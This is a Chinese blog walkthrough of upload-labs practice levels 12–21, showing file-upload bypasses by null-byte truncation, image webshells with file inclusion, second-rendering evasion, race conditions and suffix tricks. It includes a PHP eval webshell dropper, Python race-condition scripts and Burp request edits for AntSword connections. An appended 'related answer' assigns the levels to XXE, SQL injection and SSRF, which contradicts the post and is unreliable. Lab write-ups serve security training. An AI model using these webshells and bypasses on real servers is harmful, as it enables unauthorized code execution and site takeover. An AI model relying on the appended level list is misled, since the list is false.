upload靶场全关通(下)12-21关

本案例以upload靶场为例, 若帮到你请点个关注再走呗

 第十二关(get00截断)

本关采用%00截断,需要的php版本<5.3.4,且需要将【magic_quotes_gpc】参数关闭

  • 步骤一:上传php文件,进行抓包修改参数

  • 需要修改地方:

1、POST头【save_path=】在【../upload/】后面添加上传的php文件名,并加上【%00】进行截断

2、【filename】后面的php修改为【png/jpg/jpeg】等

3、同理下面的【Content-Type】里面的内容跟着修改

  • 修改前

  • 修改后 

  • 步骤二:上传成功后,连接蚁剑,注意这里的URL需要修改将php文件后面的参数删除,在连接

 第十三关(post00截断)

  • 需要的php版本<5.3.4,且需要将【magic_quotes_gpc】参数关闭

  • 步骤一:上传一个php文件,进行抓包,在【../upload/】后面添加【文件名+】,修改【filename】后面的文件名名为【.jpg

 

 

  •  步骤二:点击【hex】 ,找到【+】的hex值,将其改为【00】,放包即可

  •  复制图片地址,连接蚁剑,将php后面的参数删除,连接

第十四关(图片马+文件包含漏洞绕过)

a.在靶场上传一个图片马,并点击网站的【文件包含漏洞】得到绝对路径

 b.复制URL的绝对路径,在打开图片的路径,复制【include.php】后面的路径,将其和前面的路径拼接起来,会出现乱码,这表示成功

 c.打开蚁剑,将拼接的路径加入进去,连接即可

 

第十五关(图片马+文件包含漏洞绕过)

上传一个图片马,点击文件的【文件包含】得到【绝对路径】,将图片地址的【upload/xxx.jpg】的url拼接到绝对路径【include.php】上,之间要添加【?file=】这样的参数,出现乱码则表示解析了图片马,将此路径放入蚁剑进行连接

 第十六关(exif_imagetype图片马)

  • 因为普通情况下的上传图片马,会使得上传速度较慢,等待时间较长

  • 所以要打开phpstudy的【php_exif】模块,来加快图片马的读取,此模块在【php扩展及设置】-->【php扩展】-->【php_exif

  • 在上传图片马,就会很快上传,复制图片的地址

  • 利用文件包含漏洞,进行拼接图片地址,出现乱码,说明解析了图片马,在连接蚁剑即可

 

第十七关(二次渲染绕过)

  • 利用后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

  • 先找到一个图片(最好是gif图,因为gif图片空白地方大),先上传一个gif图片,将回显的gif图下载下来

  • 打开【winhex】工具,将两个gif图拖入软件内,点击【查看】里面的【同步窗口】,进行判断

  • 利用【winhex】工具进行寻找两个gif的相同的地方空白地方),将的一句话木马复制一下,点击【编辑】-->【剪贴板数据】-->【写入】-->【选择ASCII码】将复制好的木马放进去,进行保存,生成一个新的gif图

  • 在将新的gif图上传,复制好图片地址,点击【文件上传漏洞】,进行拼接URL,出现乱码,进行复制URL,连接蚁剑

  • 注:是否可以将gif生成一个图片马,上传后利用文件漏洞读取,省去这些步骤,经过实践,虽然出现乱码,可解析,可蚁剑却连接不上

第十八关(条件竞争一) 

  • 根据提示显示本关需要进行代码审计

  • 我们要上传php木马就会被拦截删除掉,该怎么办,不慌,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问就行了。这个也称为条件竞争上传绕过

  • 利用burp多线程发包,然后不断在浏览器访问我们的【webshell】,会有一瞬间的访问成功

  • 木马文件内容需要修改一下,写法内容如下,文件名这里写为1.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>
  • 把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话

实际步骤:

a.将1.php上传,抓包,发送给【测试器】,这里需要注意的是,要一直抓着包,不要放开

 b.点击【清除】将里面的变量清除,将攻击载荷改为【无载荷】,【无限期的重复】,将线程调大,进行快速的发送,来让它一直上传该文件

 

 

c.编写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的1.php文件)

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/1.php"     //这里的IP地址为目标IP,路径为上传文件的准确路径,否则上传不成功,这里的1.php是上面的木马文件
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
	    print("NO")

 d.点击burp的【开始攻击】,进行攻击,同时运行编写的这个python脚本,进行条件竞争,直到运行界面出现了【ok】,则代表文件(shell.php)上传成功了

 

e.用蚁剑进行连接,连接IP地址就是脚本上的上传文件地址+上传成功的文件名  

第十九关(条件竞争二)

php文件不能上传,只能上传图片马,将前一关的代码插入图片作出图片马,然后通过文件包含去访问该图片马

步骤一:上传图片马,用BP拦截,步骤如同第十八关一致

步骤二:我们要修改一下python脚本,这里脚本要修改为文件包含来访问

import requests
url = "http://xxx/upload/upload-labs/include.php?file=upload/xx.png'"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
    else:
	    print("NO")

步骤三:同时运行BP和python脚本,出现ok则代表访问成功,蚁剑进行连接,本关需要一定的概率才能跑出来结果,所以多设一些线程

第二十关(黑名单后缀,修改文件名判断)

黑名单用于用户输入的文件后缀名进行判断【move_uploaded_file()】还有这么一个特性,会忽略掉文件末尾的 /.

步骤:

a.准备一句话木马,修改后缀为【.png】上传,利用burp抓包,修改【upload-19.jpg】为【upload-19.php/.】,放包后上传成功

 b.连接蚁剑,即可

第二十一关(burp抓包修改参数绕过) 

步骤:

a.上传一句话木马,修改一些参数,放包,连接蚁剑即可

修改的位置:

  • Content-Type:】里面的内容改为【image/png/jpg/jpeg

  • save_name】里面的内容改为【save_name[0]

  • upload-20.jpg】里面改为【upload-20.php

  • 在此下面复制上【upload-20.jpg】的一整段,从【Content】到【----】,修改里面的内容【save_name[0]】为【save_name[2]】(中括号里面的内容大于1即可);将【upload-20.php】里面改为【png/jpg/jpeg

【修改前】

 【修改后】

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!要通 upload-labs 靶场的第 1-21 ,你需要依次完成每个卡的任务。以下是通每个卡的一些提示: 1. Level 1 - 文件上传漏洞:尝试上传一个恶意文件,看看能否绕过上传限制。 2. Level 2 - 文件包含漏洞:尝试利用文件包含漏洞,读取服务器上的敏感文件。 3. Level 3 - XXE漏洞:在上传的 XML 文件中尝试触发外部实体注入。 4. Level 4 - SQL注入漏洞:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 5. Level 5 - SSRF漏洞:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 6. Level 6 - 文件上传漏洞2:绕过上传限制,上传一个恶意文件。 7. Level 7 - 文件包含漏洞2:利用文件包含漏洞,读取服务器上的敏感文件。 8. Level 8 - 反序列化漏洞:尝试触发反序列化漏洞,执行恶意代。 9. Level 9 - 文件上传漏洞3:绕过上传限制,上传一个恶意文件。 10. Level 10 - 文件包含漏洞3:利用文件包含漏洞,读取服务器上的敏感文件。 11. Level 11 - XXE漏洞2:在上传的 XML 文件中触发外部实体注入。 12. Level 12 - SSRF漏洞2:尝试利用服务器端请求伪造漏洞,发起内部网络请求。 13. Level 13 - 文件上传漏洞4:绕过上传限制,上传一个恶意文件。 14. Level 14 - 文件包含漏洞4:利用文件包含漏洞,读取服务器上的敏感文件。 15. Level 15 - SQL注入漏洞2:利用输入点进行 SQL 注入攻击,尝试获取数据库中的敏感信息。 16. Level 16 - 文件上传漏洞5:绕过上传限制,上传一个恶意文件。 17. Level 17 - 文件包含漏洞5:利用文件包含漏洞,读取服务器上的敏感文件。 18. Level 18 - 反序列化漏洞2:尝试触发反序列化漏洞,执行恶意代。 19. Level 19 - 文件上传漏洞6:绕过上传限制,上传一个恶意文件。 20. Level 20 - 文件包含漏洞6:利用文件包含漏洞,读取服务器上的敏感文件。 21. Level 21 - XXE漏洞3:在上传的 XML 文件中触发外部实体注入。 请注意,在完成每个卡时,要仔细阅读相提示和代,理解漏洞的原理,并尝试不同的方法来解决问题。祝你顺利通

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值